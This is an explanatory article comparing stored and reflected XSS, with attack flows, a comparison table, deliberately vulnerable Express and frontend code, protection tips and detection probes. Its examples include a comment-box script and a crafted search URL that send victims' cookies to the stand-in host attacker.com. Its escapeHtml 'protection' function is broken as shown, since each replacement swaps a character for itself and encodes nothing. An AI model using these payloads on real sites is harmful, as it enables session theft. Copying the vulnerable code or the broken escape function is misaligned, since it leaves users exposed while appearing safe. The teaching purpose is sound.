Answer
Stored XSS and Reflected XSS are two common types of XSS attacks with significant differences in attack methods, severity, and protection strategies.
Stored XSS
Attack Principle: Stored XSS, also known as Persistent XSS, occurs when an attacker submits malicious scripts to a target server, and the server stores the malicious data in a database or other persistent storage. When other users visit pages containing this malicious data, the server returns the malicious script as part of the response, which is then executed in the user's browser.
Attack Flow:
- Attacker injects malicious scripts in places that store user input (e.g., comment sections, forum posts, user profiles)
- Server stores the malicious script in the database
- When other users visit pages containing the malicious content, the server reads and returns the malicious script from the database
- Browser executes the malicious script, causing the attack
Attack Example:
html<!-- Attacker submits in comment section --> <script> const stolenCookie = document.cookie; fetch('http://attacker.com/steal?cookie=' + encodeURIComponent(stolenCookie)); </script>
Characteristics:
- Persistence: Malicious scripts are permanently stored on the server until deleted
- Automatic propagation: All users visiting the page are affected
- Highest risk: Attackers don't need to trick users into clicking specific links
- Wide attack scope: Can affect a large number of users
- Difficult to detect: Attacks may go unnoticed for a long time
Common Scenarios:
- Comment sections, message boards
- Forum posts
- User profiles (nickname, signature, etc.)
- Customer service chat records
- Email systems
Reflected XSS
Attack Principle: Reflected XSS, also known as Non-persistent XSS, occurs when an attacker constructs a URL containing malicious scripts and tricks users into clicking it. When users visit the URL, the server receives the request parameters and "reflects" the malicious script back in the response, executing it in the user's browser.
Attack Flow:
- Attacker constructs a URL containing malicious scripts
- Attacker tricks users into clicking the URL through phishing emails, social media, etc.
- User clicks the link and sends a request to the server
- Server receives request parameters and includes the malicious script in the response
- Browser executes the malicious script, causing the attack
Attack Example:
shellhttp://example.com/search?q=<script>document.location='http://attacker.com/steal?c='+document.cookie</script>
Characteristics:
- Non-persistence: Malicious scripts are not stored on the server, only exist in the URL
- Requires user interaction: Must trick users into clicking malicious links
- Limited attack scope: Only affects users who click the link
- Easy to detect: Malicious scripts in URLs are easily discoverable
- Short attack duration: Attack ends when user closes the page
Common Scenarios:
- Search functionality
- Error pages
- Form submission feedback pages
- Redirect pages
- Login pages
Detailed Comparison
| Feature | Stored XSS | Reflected XSS |
|---|---|---|
| Persistence | Persistent, stored on server | Non-persistent, only in URL |
| Attack trigger | User visits infected page | User clicks malicious link |
| Attack scope | All users visiting the page | Only users clicking the link |
| Severity | High | Medium |
| Attack difficulty | Medium (need to find storage point) | Low (only need to find reflection point) |
| Protection difficulty | High (strict input validation and output encoding required) | Medium (mainly relies on output encoding) |
| Detection difficulty | Difficult (may be in backend) | Easy (URL is visible) |
| Social engineering needed | Low | High (need to trick users) |
Real Code Examples
Stored XSS Example:
javascript// Unsafe stored XSS vulnerability code app.post('/api/comments', (req, res) => { const { content } = req.body; // Directly store user input without any validation or encoding db.query('INSERT INTO comments (content) VALUES (?)', [content]); res.json({ success: true }); }); app.get('/api/comments', (req, res) => { const comments = db.query('SELECT content FROM comments'); // Directly return user input without encoding res.json(comments); }); // Frontend rendering function renderComments() { fetch('/api/comments') .then(res => res.json()) .then(comments => { comments.forEach(comment => { // Dangerous: directly insert user content using innerHTML document.getElementById('comments').innerHTML += `<div>${comment.content}</div>`; }); }); }
Reflected XSS Example:
javascript// Unsafe reflected XSS vulnerability code app.get('/search', (req, res) => { const query = req.query.q; // Dangerous: directly insert user input into response res.send(` <html> <body> <h1>Search Results: ${query}</h1> <p>No results found</p> </body> </html> `); });
Protection Strategies
Stored XSS Protection:
-
Strict input validation
javascriptfunction sanitizeInput(input) { return input.replace(/[<>]/g, ''); } -
Output encoding
javascriptfunction escapeHtml(unsafe) { return unsafe .replace(/&/g, "&") .replace(/</g, "<") .replace(/>/g, ">") .replace(/"/g, """) .replace(/'/g, "'"); } -
Use safe APIs
javascript// Unsafe element.innerHTML = userInput; // Safe element.textContent = userInput;
Reflected XSS Protection:
-
URL parameter validation and encoding
javascriptapp.get('/search', (req, res) => { const query = escapeHtml(req.query.q); res.send(`<h1>Search Results: ${query}</h1>`); }); -
Use Content Security Policy
shellContent-Security-Policy: default-src 'self'; script-src 'self' -
Set HttpOnly Cookie
javascriptres.cookie('sessionId', sessionId, { httpOnly: true });
Detection Methods
Stored XSS Detection:
- Submit test script in comment section:
<script>alert(1)</script> - Visit the page and check if alert box appears
- Use automated tools to scan for stored XSS vulnerabilities
Reflected XSS Detection:
- Inject test script in URL parameters
- Check if response contains unencoded scripts
- Use browser developer tools to inspect response content
Summary
Stored XSS and Reflected XSS are both XSS attacks, but they differ significantly in attack methods, severity, and protection strategies. Stored XSS is more dangerous because it can automatically propagate and affect many users, while Reflected XSS requires social engineering to trick users into clicking links. In actual development, all user input should be strictly validated and encoded, safe APIs should be used, and multi-layer protection strategies should be implemented to prevent both types of XSS attacks.